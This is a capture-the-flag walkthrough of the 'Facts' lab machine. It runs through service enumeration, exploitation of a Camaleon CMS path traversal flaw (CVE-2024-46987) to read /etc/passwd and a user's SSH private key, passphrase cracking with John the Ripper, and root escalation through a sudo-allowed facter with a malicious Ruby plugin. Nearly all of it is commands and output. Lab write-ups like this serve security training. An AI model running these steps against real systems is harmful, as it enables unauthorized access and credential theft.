

Facts.htb — Penetration Testing Walkthrough

Complete Infrastructure Exploitation & Privilege Escalation Lifecycle

Target Architecture: Linux (Easy)

Vulnerability Vector: CVE-2024-46987

Author / Penetration Tester: Mohamed Amin

Exploit Chain: Path Traversal → SSH Key Theft → Facter PrivEsc

Step 1: Network Service Enumeration (Nmap Scan)

The security assessment initiates with an intense service-and-version discovery scan against the target system's network boundary to discover accessible services and map operational software profiles.

EXECUTION COMMAND

```
nmap -sC -sV 10.129.7.9
```

Nmap Interactive Output Capture

```
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-25 12:14 +0100
Nmap scan report for 10.129.7.9
Host is up (0.23s latency).
Not shown: 998 closed tcp ports (reset)

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 9.9p1 Ubuntu 1ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:23:01:29:89 (ECDSA)
|_  256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)
80/tcp    open  http      nginx 1.26.3 (Ubuntu)
|_ http-title: Did not follow redirect to http://facts.htb/
|_ http-server-header: nginx/1.26.3 (Ubuntu)

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

BOUNDARY ENUMERATION ANALYSIS

- **TCP Port 22:** Hosts an active OpenSSH 9.9p1 server. Immediate vector entry is improbable without valid cryptographic credentials or user authenticators.
- **TCP Port 80:** Running an Nginx 1.26.3 instance issuing a forced HTTP 302/301 status redirect leading to http://facts.htb/.

Step 2: Local DNS Manipulation (/etc/hosts Configuration)

Because the Nginx edge routing relies on explicit virtual host headers, direct navigation to the raw IPv4 address prevents application interaction. We adjust our attacking workspace's static resolver to bind the domain locally.

EXECUTION COMMAND

```
sudo nano /etc/hosts
```

Appended Entry Record

```
10.129.7.9 facts.htb
```

OPERATIONAL RATIONALE

- Modifying the /etc/hosts file ensures proper HTTP Host header preservation during web browser and automated scanning tasks, permitting access to the underlying content management layer.

Step 3: Web Directory Discovery via Gobuster

With domain mapping established, an aggressive content discovery process is launched to reveal structural pathways, configuration endpoints, or forgotten directories on the application.

EXECUTION COMMAND

```
gobuster dir -u http://facts.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
```

Gobuster Brute-Force Output

```
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmaier (@firefart)
=====
[+] Url: http://facts.htb/
[+] Method: GET
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
=====
/index (Status: 200) [Size: 1110]
/search (Status: 200) [Size: 1917]
/rss (Status: 200) [Size: 3508]
/sitemap (Status: 200) [Size: 1831]
/admin (Status: 302) [Size: 0] --> Redirects to http://facts.htb/admin/
login
/welcome (Status: 200) [Size: 11900]
/ajax (Status: 200) [Size: 11113]
/page (Status: 200) [Size: 11409]
```

DIRECTORY ANALYSIS FINDINGS

- The identification of the `/admin` path returning a 302 redirection reveals the existence of an Administrative Authentication Gateway located at `http://facts.htb/admin/login`.

Step 4: Authentication Gateway & Platform Fingerprinting

Navigating explicitly to the discovered endpoint uncovers a professional login interface. Reviewing options reveals an active self-registration component.

By selecting **"Create an account"**, a low-privilege user account is quickly provisioned. Upon successful portal access, inspection of the dashboard layout footer yields exact platform metadata:

```
Platform Asset: Camaleon CMS
Deployed Version: 2.9.0
```

PLATFORM VULNERABILITY CONTEXT

- **Camaleon CMS v2.9.0** suffers from an architectural flaw categorized under **CVE-2024-46987**. This vulnerability permits authenticated users to execute path traversal operations against internal asset endpoints.

Step 5: Exploiting CVE-2024-46987 (Arbitrary File Exfiltration)

The flaw is located within the `admin/media/download_private_file` parameter routing, allowing unauthorized breakout bounds. Using our created user account profile (ahmed / ahmed), an exploit script is deployed to extract the server configuration layout and user base mapping.

EXECUTION COMMAND

```
python3 CVE-2024-46987.py -u http://facts.htb -l ahmed -p ahmed /etc/passwd
```

Exfiltrated User Registry Output (/etc/passwd)

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash
```

TARGET INTELLIGENCE EXTRACTION

- Analysis of the system registry isolates two distinct targets with interactive shell environments: **trivia** (UID 1000) and **william** (UID 1001).

Step 6: Cryptographic Material Exfiltration

Using the path traversal engine, the scope is shifted to target the local user folders to look for configuration directories or SSH key stores.

EXECUTION COMMAND

```
python3 CVE-2024-46987.py -u http://facts.htb -l ahmed -p ahmed /home/trivia/.ssh/id_ed25519
```

Recovered Secure Material

```
-----BEGIN OPENSSH PRIVATE KEY-----
b3B1bnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYnYeXB0AAAAGAAAABA5L776w/
uhoc7MTfVBYWJVAAAAGAAAAAEAAAAAAC3NzaC1lZDI1NTE5AAAAIEKVZFwWCBUPVYZ
3tK2+52910iXFm1kWg+ruhQaLimAAAAoNzoQa9hYxjrbbLgMwefZWENDyfsZa5jZ
EBKGBHKTTNSBLs7aByjwi29m57ey7dC1hkcaREGUoQaWr9jB141RGpHc1o9oSFP6fiPFnQ
c08tpuMHJYELa1ohax+FLADVnMdF5wzPTDsalyh4Zjxy5zGHVUJUWUXdcgG51zpo3jPj
895Yyc2Db2TFS5vJ8lFStMX9A18ZmNgmZh2V8=
-----END OPENSSH PRIVATE KEY-----
```

The structural layout indicates the cryptographic key asset is protected by an operational passcode routine. The raw data block is mirrored into a local identity token file and locked down using POSIX parameter controls:

```
nano id_ssh
chmod 600 id_ssh
```

Step 7: Cryptographic Key Passphrase De-encapsulation

To drop the defense barrier on the cryptographic file token, `ssh2john` translates the wrapper format into an isolated string compatible with high-speed password checking matrices.

HASH EXTRACTION & DICTIONARY ATTACK EXECUTION

```
ssh2john id_ssh > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt
```

John the Ripper Crack Progression Summary

```
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0 MD5/AES 1 MD5/3DES 2 Bcrypt/AES]) is 2 for all loaded hashes
Will run 8 OpenMP threads
```

```
dragonballz      (id_ssh)
```

```
1g 0:00:01.39 DONE (2026-02-26 13:16) 0.01007g/s 32.23p/s 32.23c/s 32.23C/s
Use the "--show" option to display all of the cracked passwords reliably
```

CRACKED PASSPHRASE RECOVERED

- **Decrypted Secret Passphrase:** dragonballz

Step 8 & 9: Realizing User Access & Data Extraction

Employing the authenticated private identity structure combined with the recovered secret passcode string, an interactive remote access terminal session is successfully initialized against the host node.

SSH INITIALIZATION

```
ssh -i id_ssh trivia@10.129.7.9
# Entering Passphrase Verification: dragonballz
```

Target Exploration and Flag Retrieval

```
trivia@facts:~$ whoami
trivia
trivia@facts:~$ cd /home/william/
trivia@facts:/home/william$ ls -la
total 24
drwxr-x--- 2 william william 4048 Feb 25 10:14 .
drwxr-xr-x 4 root     root    4096 Feb 25 10:12 ..
-rw-r----- 1 william william   33 Feb 25 11:02 user.txt
trivia@facts:/home/william$ cat user.txt
26786a56ff426cdb98f3ee6883986316
```

USER LEVEL COMPROMISE TOKEN

- **User Flag Value:** 26786a56ff426cdb98f3ee6883986316

Step 10: Privilege Elevation via Malicious Facter Extension

System configuration scanning indicates that the `trivia` account can execute the Puppet systems information engine (`/usr/bin/facter`) as the root administrative supervisor without validating a password verification check.

SUDO CONFIGURATION INSPECTION

```
trivia@facts:~$ sudo -l
Matching Defaults entries for trivia on facts:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User trivia may run the following commands on facts:
    (root) NOPASSWD: /usr/bin/facter
```

The `facter` executable contains a capability architecture that accepts an external loading directory parameter flag (`--custom-dir`) to dynamically execute custom Ruby plugins. We build an interactive shell payload layout inside an ephemeral file directory context:

```
trivia@facts:~$ mkdir -p /tmp/facts
trivia@facts:~$ nano /tmp/facts/pwn.rb
```

PWN.RB MALICIOUS STRUCTURE LAYOUT

```
Facter.add(:pwn) do
  setcode do
    system("/bin/bash")
  end
end
```

By forcing `facter` to run as a high-level system administrator while targeting our custom directory plugin environment, the embedded interpreter calls our code block within a root execution context.

EXPLOIT EXECUTION

```
sudo /usr/bin/facter --custom-dir /tmp/facts
```

Step 11: Complete Server System Dominance

The privilege elevation technique bypasses application controls, causing the execution system to initialize an interactive privileged administrative prompt.

Root System Compromise Validation & Core Flag Capture

```
root@facts:/# whoami
root
root@facts:/# id
uid=0(root) gid=0(root) groups=0(root)
```

```
root@facts:/# cat /root/root.txt  
8e5a7d36ef592cbfa4a11cd938ef541d
```

HOST LIFECYCLE SUMMARY

- **System Target Flag (Root):** 8e5a7d36ef592cbfa4a11cd938ef541d
- **Machine Compromise State:** Complete System Takeover Confirmed.